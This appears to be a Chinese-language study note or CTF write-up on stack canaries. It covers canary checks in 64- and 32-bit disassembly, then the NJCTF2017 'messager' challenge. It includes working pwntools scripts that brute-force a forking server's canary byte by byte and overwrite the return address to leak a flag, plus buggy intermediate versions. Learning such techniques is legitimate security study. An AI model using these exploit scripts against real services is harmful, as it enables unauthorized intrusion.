分类、破解方法
简介 会把canary放到比返回地址还低的位置上,这样溢出的时候,从低地址向高地址溢出,就会覆盖掉canary.
例子
1 2 3 4 5 6 7 #include <stdio.h> void main () { char buf[10 ]; scanf ("%s" ,buf); }
1 2 3 4 5 6 7 # gcc -fno-stack-protector canary.c -o fno.out # python3 -c "print ('a'*30)" | ./fno.out Segmentation fault (core dumped) # gcc -fstack-protector canary.c -o fno.out # python3 -c "print ('a' *30 ) " | ./fno.out *** stack smashing detected ***: <unknown> terminated Aborted (core dumped)
64位和32位不一样,下面进行调试和查看反汇编代码来看一下
64位 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 pwndbg> disass main Dump of assembler code for function main: 0x00005555555546da <+0>: push rbp 0x00005555555546db <+1>: mov rbp,rsp 0x00005555555546de <+4>: sub rsp,0x20 0x00005555555546e2 <+8>: mov rax,QWORD PTR fs:0x28 0x00005555555546eb <+17>: mov QWORD PTR [rbp-0x8],rax 0x00005555555546ef <+21>: xor eax,eax 0x00005555555546f1 <+23>: lea rax,[rbp-0x12] 0x00005555555546f5 <+27>: mov rsi,rax 0x00005555555546f8 <+30>: lea rdi,[rip+0xa5] # 0x5555555547a4 0x00005555555546ff <+37>: mov eax,0x0 0x0000555555554704 <+42>: call 0x5555555545b0 <__isoc99_scanf@plt> 0x0000555555554709 <+47>: nop 0x000055555555470a <+48>: mov rax,QWORD PTR [rbp-0x8] => 0x000055555555470e <+52>: xor rax,QWORD PTR fs:0x28 0x0000555555554717 <+61>: je 0x55555555471e <main+68> 0x0000555555554719 <+63>: call 0x5555555545a0 <__stack_chk_fail@plt> 0x000055555555471e <+68>: leave 0x000055555555471f <+69>: ret End of assembler dump.
注意看8 17 和 48 52 61 63这几行, 第一部分是开头. 从fs寄存器的偏移0x28位置取出(具体请查阅其他资料)后,放入rax,然后放入rbp-0x8的位置存储canary
函数返回前,从栈上取出来,然后做xor对比,如果一样的话,就都是0,跳转到main + 68,正常结束,如果不一样的话,就调用__stack_chk_fail函数,报错了.
32位 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 pwndbg> disass main Dump of assembler code for function main: 0x5655559d <+0>: lea ecx,[esp+0x4] 0x565555a1 <+4>: and esp,0xfffffff0 0x565555a4 <+7>: push DWORD PTR [ecx-0x4] 0x565555a7 <+10>: push ebp 0x565555a8 <+11>: mov ebp,esp 0x565555aa <+13>: push ebx 0x565555ab <+14>: push ecx 0x565555ac <+15>: sub esp,0x10 0x565555af <+18>: call 0x565555f9 <__x86.get_pc_thunk.ax> 0x565555b4 <+23>: add eax,0x1a20 0x565555b9 <+28>: mov ecx,DWORD PTR gs:0x14 0x565555c0 <+35>: mov DWORD PTR [ebp-0xc],ecx 0x565555c3 <+38>: xor ecx,ecx 0x565555c5 <+40>: sub esp,0x8 0x565555c8 <+43>: lea edx,[ebp-0x16] 0x565555cb <+46>: push edx 0x565555cc <+47>: lea edx,[eax-0x1934] 0x565555d2 <+53>: push edx 0x565555d3 <+54>: mov ebx,eax 0x565555d5 <+56>: call 0x56555440 <__isoc99_scanf@plt> => 0x565555da <+61>: add esp,0x10 0x565555dd <+64>: nop 0x565555de <+65>: mov eax,DWORD PTR [ebp-0xc] 0x565555e1 <+68>: xor eax,DWORD PTR gs:0x14 0x565555e8 <+75>: je 0x565555ef <main+82> 0x565555ea <+77>: call 0x56555670 <__stack_chk_fail_local> 0x565555ef <+82>: lea esp,[ebp-0x8] 0x565555f2 <+85>: pop ecx 0x565555f3 <+86>: pop ebx 0x565555f4 <+87>: pop ebp 0x565555f5 <+88>: lea esp,[ecx-0x4] 0x565555f8 <+91>: ret End of assembler dump.
关注28,35和65 - 77这几行,和64位的基本一样,就是canary的来源不同
题目练习 NJCTF2017:messager 64位程序
开了canary,要想办法绕过,然后开了nx,栈不可执行,要用rop之类的
反汇编函数挺长的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { int optval; __pid_t v5; unsigned __int64 v6; v6 = __readfsqword(0x28 u); sub_400B76(a1, a2, a3); puts ("[+]start.." ); addr.sa_family = 2 ; *(_WORD *)addr.sa_data = htons(0x15B3 u); *(_DWORD *)&addr.sa_data[2 ] = htonl(0 ); len = 16 ; addr_len = 16 ; v5 = 0 ; puts ("[+]socket.." ); dword_602140 = socket(2 , 1 , 0 ); if ( dword_602140 < 0 ) { perror("socket" ); return 0xFFFFFFFF LL; } optval = 1 ; setsockopt(dword_602140, 1 , 2 , &optval, 4u ); puts ("[+]bind.." ); if ( bind(dword_602140, &addr, len) < 0 ) { perror("bind error" ); return 0xFFFFFFFF LL; } puts ("[+]listen.." ); if ( listen(dword_602140, 1024 ) < 0 ) { perror("listen" ); return 0xFFFFFFFF LL; } while ( 1 ) { fd = accept(dword_602140, &stru_602130, &addr_len); if ( fd == -1 ) { perror("accept" ); return 0xFFFFFFFF LL; } send(fd, "Welcome!\n" , 9uLL , 0 ); v5 = fork(); if ( v5 == -1 ) { perror("fork" ); return 0xFFFFFFFF LL; } if ( !v5 ) break ; close(fd); } signal(14 , handler); alarm(3u ); if ( (unsigned int )sub_400BE9() ) { if ( send(fd, "Message receive failed\n" , 0x19 uLL, 0 ) == -1 ) goto LABEL_14; } else if ( send(fd, "Message received!\n" , 0x12 uLL, 0 ) == -1 ) { LABEL_14: perror("send" ); return 0xFFFFFFFF LL; } return 0LL ; } sub_400BE9 __int64 sub_400BE9 () { char s[104 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); printf ("csfd = %d\n" , (unsigned int )fd); bzero(s, 0x64 uLL); if ( (unsigned int )recv(fd, s, 0x400 uLL, 0 ) == -1 ) { perror("recv" ); return 0xFFFFFFFF LL; } else { printf ("Message come: %s" , s); fflush(stdout ); return 0LL ; } }
sub_400BE9 这里接收的值的大小是0x400,超了s的104,存在栈溢出
所以可以让每次fork的子进程来尝试
问题是fork了之后是怎么个执行流? 父进程还在while循环,子进程呢?
fork调用的一个奇妙之处就是它仅仅被调用一次,却能够返回两次,它可能有三种不同的返回值:
(1)在父进程中,fork返回新创建子进程的进程ID;
(2)在子进程中,fork返回0;
(3)如果出现错误,fork返回一个负值 。
所以父进程会一直在while里循环,不会实际上接收到值,子进程才会接收到值,所以子进程崩了不影响父进程,就可以进行爆破canary
Could not allocate dynamic translator buffer
重新安装一下checksec
查看端口根据进程号
netstat -anlp | grep “mess”
看不懂要怎么连接…先百度一波。应该要有端口的呀
socket(domain, type, protocol);
accept(fd, addr, addr_len);
listen(fd, n);
汇编代码里写哪了呢?
获取canary脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *import socketcontext.log_level= "debug" canary = b"" for i in range (0 ,8 ): for j in range (0 ,256 ): s = socket.socket() s.connect(("127.0.0.1" ,5555 )) ret = s.recv(1024 ) j = b"a" *104 + chr (j).encode("utf-8" ) s.send(j) try : ret = s.recv(1024 ) if b"Message received!" in ret: print ("success" ) canary += chr (j) print (canary) s.close() break except : continue
但是这个脚本的问题,好像在爆破canary的时候还是会有问题….先不管了…这个问题耽搁太久了,后面再研究
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *import socketcontext.log_level= "debug" canary = b"" for i in range (0 ,8 ): print ("tiao nale" ) print (canary) for j in range (0 ,256 ): s = socket.socket() s.connect(("127.0.0.1" ,5555 )) ret = s.recv(1024 ) data = b"a" *104 +canary + chr (j).encode("utf-8" ) s.send(data) try : ret = s.recv(1024 ) if b"Message received!" in ret: canary += bytes (chr (j).encode("utf-8" )) break except Exception as e: print (e) s = socket.socket() s.connect(("127.0.0.1" ,5555 )) ret = s.recv(1024 ) s.send(b"a" *104 +canary+b"a" *8 + p64(0x400bc6 )) print (s.recv(1024 ))
假设已经得到了canary了,下一步是覆盖返回地址,有onegadget还是system binsh?后门函数?
1 2 3 4 5 6 7 8 9 10 11 12 ssize_t sub_400B76 () { int fd; fd = open("./flag" , 0 ); if ( fd < 0 ) { perror("open flag failed" ); exit (0 ); } return read(fd, &unk_602160, 0x64 uLL); }
会把flag读到bss段,0x602160, 然后再构造一个puts把它打印出来吧,这里不需要libc了吗
溢出长度 + ebp + sub_400B76 + puts地址 + 返回地址 + 参数
nonono ,其实是这里藏了一个函数,为啥ida没有显示出来呢????
1 2 3 4 5 6 7 8 9 10 11 .text:0000000000400B C6 push rbp .text:0000000000400B C7 mov rbp, rsp .text:0000000000400B CA mov eax, cs:fd .text:0000000000400B D0 mov ecx, 0 .text:0000000000400B D5 mov edx, 64 h ; 'd' .text:0000000000400B DA mov esi, offset unk_602160 .text:0000000000400B DF mov edi, eax .text:0000000000400B E1 call _send .text:0000000000400B E6 nop .text:0000000000400B E7 pop rbp .text:0000000000400B E8 retn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *def leak_canary (): canary = '' while len (canary) != 8 : for j in range (255 ): try : p = remote('127.0.0.1' , 5555 ) p.recvuntil(b'Welcome!\n' ) payload = 'a' * (0x68 ) + canary + chr (j) p.send(payload) msg = p.recvuntil(b'\n' ) if b'received' in msg: canary += chr (j) p.close() break p.close() except : p.close() print (canary) return u64(canary.ljust(8 , '\x00' )) def pwn (): canary = leak_canary() p = remote('127.0.0.1' , 5555 ) p.recvuntil(b'Welcome!\n' ) payload = b'a' * (0x68 ) + p64(canary) + b'a' * 8 + p64(0x400bc6 ) p.send(payload) p.interactive() pwn()
问题: 这个栈的104长度好像不太对
排错 寄,卡在了字符怎么表示这里,然后产生了一大堆的问题,最后调试分析后发现是python2与python3版本差别,对字符串和bytes表示不同的问题,有点乱
这里有一个问题,就是int怎么转byte
还有就是这样的程序怎么调试呢……….
还有str转bytei
留念一下你写的奇葩东西
1 2 3 4 5 6 7 8 9 10 11 12 for j in [0 ,1 ,2 ,3 ,4 ,5 ,6 ,7 ,8 ,9 ,"a" ,"b" ,"c" ,"d" ,"e" ,"f" ]: s = socket.socket() s.connect(("127.0.0.1" ,5555 )) ret = s.recv(1024 ) j = b"a" *104 + str (j).encode("utf-8" ) print (str (j)) s.send(j) ret = s.recv(1024 ) print (ret)
首先,应该是爆破256个数字,这个是ascii码的范围? 然后不是str,而是chr, 对应的字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *import socketcontext.log_level= "debug" for j in range (0 ,256 ): s = socket.socket() s.connect(("127.0.0.1" ,5555 )) ret = s.recv(1024 ) j = b"a" *104 + chr (j).encode("utf-8" ) print (str (j)) s.send(j) ret = s.recv(1024 ) print (ret)
b’aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00’ b’Message received!\n’
然后就可以了!!! 为啥之前一直不行呢?….
还有就是break为什么break不出去呢? 当时可能就是因为是在这里一直没跳出去..所以以为一直没成功,其实成功l ,ret里明明有的,但是ret好像是bytes类型,而咱给的是字符串,所以不行. 在它前面加一个b就可以了!if b”Message received!” in ret:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *import socketcontext.log_level= "debug" for j in range (0 ,256 ): s = socket.socket() s.connect(("127.0.0.1" ,5555 )) ret = s.recv(1024 ) j = b"a" *104 + chr (j).encode('latin-1' ) print (str (j)) s.send(j) try : ret = s.recv(1024 ) print (ret) print (type (ret)) if "Message received!" in ret: print ("success" ) print (j) s.close() break except : continue
但是有时候都进去输出success了 还是不能break,这是为啥. 把这两行给注释掉就可以了….为什么???
我猜是产生报错了.an integer is required (got type bytes) 果然!! chr(j)是不行的
1 2 3 4 if b"Message received!" in ret: break
各种各样编码的问题……..真的很奇怪诶…要怎么样才能避免呢?
然后爆破出一位canary了之后,继续爆破,爆破完了之后就可以栈溢出了
https://e3pem.github.io/2018/09/30/NJCTF2017/
如果正常的话,会返回messager received
为啥一直爆破不成功呢,很奇怪 为什么python2就可以呢? 为什么python3不行呢……..
对比一下后端接收到的看一下
Python2: Message come: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcsfd = 5
success this is34 “
[+] Opening connection to 127.0.0.1 on port 5555: Done this is30 \x1e [*] Closed connection to 127.0.0.1 port 5555 [+] Opening connection to 127.0.0.1 on port 5555: Done this is31 \x1f
[+] Opening connection to 127.0.0.1 on port 5555: Done AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00 this is32
[] Closed connection to 127.0.0.1 port 5555 [+] Opening connection to 127.0.0.1 on port 5555: Done AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00 this is33 ! [ ] Closed connection to 127.0.0.1 port 5555 [+] Opening connection to 127.0.0.1 on port 5555: Done AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00 this is34 “
python3:
Message come: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA””`*** stack smashing detected ***: terminated
感觉这里多了点东西?是的,为什么python2这里不显示呢?
这是第30个 \x1e [] Closed connection to 127.0.0.1 port 5555 [+] Opening connection to 127.0.0.1 on port 5555: Done 这是第31个 \x1f [ ] Closed connection to 127.0.0.1 port 5555 [+] Opening connection to 127.0.0.1 on port 5555: Done 这是第32个
[] Closed connection to 127.0.0.1 port 5555 [+] Opening connection to 127.0.0.1 on port 5555: Done 这是第33个 ! [ ] Closed connection to 127.0.0.1 port 5555 [+] Opening connection to 127.0.0.1 on port 5555: Done 这是第34个 “
b’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1f’ 这是第31个 \x1f [*] Closed connection to 127.0.0.1 port 5555 [+] Opening connection to 127.0.0.1 on port 5555: Done b’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ‘ 这是第32个
[] Closed connection to 127.0.0.1 port 5555 [+] Opening connection to 127.0.0.1 on port 5555: Done b’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!’ 这是第33个 ! [ ] Closed connection to 127.0.0.1 port 5555 [+] Opening connection to 127.0.0.1 on port 5555: Done b’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”‘ 这是第34个 “
python2版本exp,这个的话,是只有io.recv()接收到了信息,才会往下执行,不然就走except了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *def brute_canary (): global canary canary = '\x00' for x in xrange(256 ): io = remote("127.0.0.1" , 5555 ) io.recv() io.send("A" * 104 + canary + chr (x)) try : io.recv() canary += chr (x) print ("success" ) print ("this is" +str (x)) print (chr (x)) break except : continue finally : io.close() def pwn (): io = remote("127.0.0.1" , 5555 ) io.recv() io.send("A" * 104 + canary + "A" * 8 + p64(0x400BC6 )) print io.recvline() if __name__ == '__main__' : brute_canary() pwn()
错误的python3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *import socketdef leak_canary (): for i in range (40 ): io = socket.socket() io.connect(("127.0.0.1" ,5555 )) io.recv(1024 ) senddata = b"A" *104 + bytes (chr (i),'utf-8' ) print ("这是第" +str (i)+"个" ) io.send(senddata) try : data = io.recvline() if "Message received" in data: print ("success" ) break except : continue finally : io.close() def pwn (): io = remote("127.0.0.1" ,5555 ) io.recv() print (io.recvline()) if __name__ == '__main__' : leak_canary() pwn()
首先,问题在data = io.recvline(), 这个不行,可能是回复的没有换行符? recv就可以了! data = io.recv(1024),然后问题和之前一样,比特字符和字符串比较不行,需要统一格式!
经过修改后的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *import socketdef leak_canary (): global canary canary = '\x00' for i in range (30 ,35 ): io = remote("127.0.0.1" ,5555 ) io.recv() io.send(b"A" *104 + bytes (chr (i),'utf-8' )) print ("这是第" +str (i)+"个" ) try : io.recv() canary += chr (x) print ("success" ) print ("this is" +str (x)) print (chr (x)) break except : continue finally : io.close() def pwn (): io = remote("127.0.0.1" ,5555 ) io.recv print (io.recvline()) if __name__ == '__main__' : leak_canary() pwn()
https://blog.csdn.net/Alex_andra/article/details/105923008
Python2:”A” * 104 + chr(i)
Python3:b”A”*104 + bytes(chr(i),’utf-8’)
为什么它们的输出不一样
打印字符的编码类型看看?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 oot@VM-24 -10 -ubuntu:/home/ubuntu/ctfquanwei/REPL-master/Canary/NJCTF2017_messager Python 2.7 .17 (default, Feb 27 2021 , 15 :10 :58 ) [GCC 7.5 .0 ] on linux2 Type "help" , "copyright" , "credits" or "license" for more information.>>> import sys,locale>>> sys.getdefaultencoding()'ascii' >>> qTraceback (most recent call last): File "<stdin>" , line 1 , in <module> NameError: name 'q' is not defined >>> quit()root@VM-24 -10 -ubuntu:/home/ubuntu/ctfquanwei/REPL-master/Canary/NJCTF2017_messager Python 3.8 .0 (default, Dec 9 2021 , 17 :53 :27 ) [GCC 8.4 .0 ] on linux Type "help" , "copyright" , "credits" or "license" for more information.>>> import sys,locale>>> sys.getdefaultencoding()'utf-8'
万能的chatgpt…………………………牛的
让chatgpt把python2的代码修改成python3的就可以了…………
我之前也是这么做的呀,只是没有canary的\x00那个值,为什么就不行呢? 果然是因为这个……
所以问题不在于编码,而在于这个\x00
python3
python可以打印数据类型,打印一下,也可以打印一下十六进制看看吧
b’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00”‘ <class ‘bytes’> success this is 34
不加canary也是bytes,所以和数据类型应该没关系
打印字节流的十六进制
………..0x410x410x410x00x21
对python2来说
<type ‘str’> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00 this is34 “ success this is34 “
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *def brute_canary (): global canary canary = '\x00' for x in xrange(30 ,35 ): io = remote("127.0.0.1" , 5555 ) io.recvuntil(b"Welcome!\n" ) io.send("A" * 104 + canary + chr (x)) try : io.recv() canary += chr (x) print ("success" ) print ("this is" +str (x)) print (chr (x)) break except : continue finally : io.close() if __name__ == '__main__' : brute_canary()